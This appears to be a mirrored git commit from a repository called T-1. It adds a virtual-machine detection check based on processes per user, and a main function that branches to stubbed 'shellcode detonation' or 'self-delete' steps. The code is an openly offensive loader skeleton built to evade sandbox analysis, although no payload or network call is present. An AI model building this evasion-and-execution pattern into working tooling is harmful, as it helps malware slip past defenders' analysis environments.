mirror of
https://github.com/0xTriboulet/T-1
synced 2026-06-06 15:14:27 +00:00
Added VmDetection logic, conditional to main function, and allocated space for ShellcodeDetonation and SelfDelete logic
This commit is contained in:
@@ -9,6 +9,7 @@ ifeq ($(OS), Windows_NT)
|
||||
BUILDDIR := .\build
|
||||
INCDIR := .\inc
|
||||
WILD_OBJ := \*.o
|
||||
WILD_EXE := \*.exe
|
||||
|
||||
CXX := x86_64-w64-mingw32-g++
|
||||
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -Wno-missing-field-initializers -Wno-ignored-qualifiers -DDEBUG
|
||||
@@ -23,6 +24,7 @@ else
|
||||
BUILDDIR := ./build
|
||||
INCDIR := ./inc
|
||||
WILD_OBJ := /*.o
|
||||
WILD_EXE := \*.exe
|
||||
|
||||
CXX := x86_64-w64-mingw32-g++
|
||||
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -DDEBUG -s
|
||||
@@ -45,7 +47,7 @@ all: $(TARGET)
|
||||
|
||||
$(TARGET): $(OBJS)
|
||||
$(CXX) $(CXXFLAGS) $(OBJS) $(LDFLAGS) -o $@
|
||||
$(RM) $(BUILDDIR)\*.o
|
||||
$(RM) $(BUILDDIR)$(WILD_OBJ)
|
||||
|
||||
$(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
|
||||
$(MKDIR)
|
||||
@@ -53,5 +55,6 @@ $(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
|
||||
|
||||
clean:
|
||||
$(RM) $(BUILDDIR)$(WILD_OBJ)
|
||||
$(RM) $(BUILDDIR)$(WILD_EXE)
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
BOOL VmDetection(float process_count_per_user);
|
||||
@@ -15,3 +15,4 @@
|
||||
#include "GetProcessCountViaSnapShot.h"
|
||||
#include "GetUniqueUserCountViaSnapshot.h"
|
||||
#include "AbsoluteValue.h"
|
||||
#include "VmDetection.h"
|
||||
@@ -0,0 +1,15 @@
|
||||
#include "intelligence.h"
|
||||
|
||||
BOOL VmDetection(float process_count_per_user){
|
||||
|
||||
|
||||
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
|
||||
|
||||
PRINT("[i] Running on bare metal machine!\n");
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
+13
-3
@@ -11,11 +11,21 @@ int main(){
|
||||
|
||||
process_per_user = process_count / user_count;
|
||||
|
||||
PRINT("[i] Process Count : %ld\n", process_count);
|
||||
PRINT("[i] Process Count : %ld\n", process_count );
|
||||
PRINT("[i] Process Count / User : %f\n" , process_per_user);
|
||||
PRINT("[i] Users Count : %ld\n", user_count );
|
||||
PRINT("[i] Users Count : %ld\n", user_count );
|
||||
|
||||
if(VmDetection(process_per_user)){
|
||||
|
||||
// TODO: ShellcodeDetonation
|
||||
PRINT("[i] Executing shellcode!\n");
|
||||
|
||||
}else{
|
||||
|
||||
// TODO: SelfDelete
|
||||
PRINT("[i] Self-deleting!\n");
|
||||
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user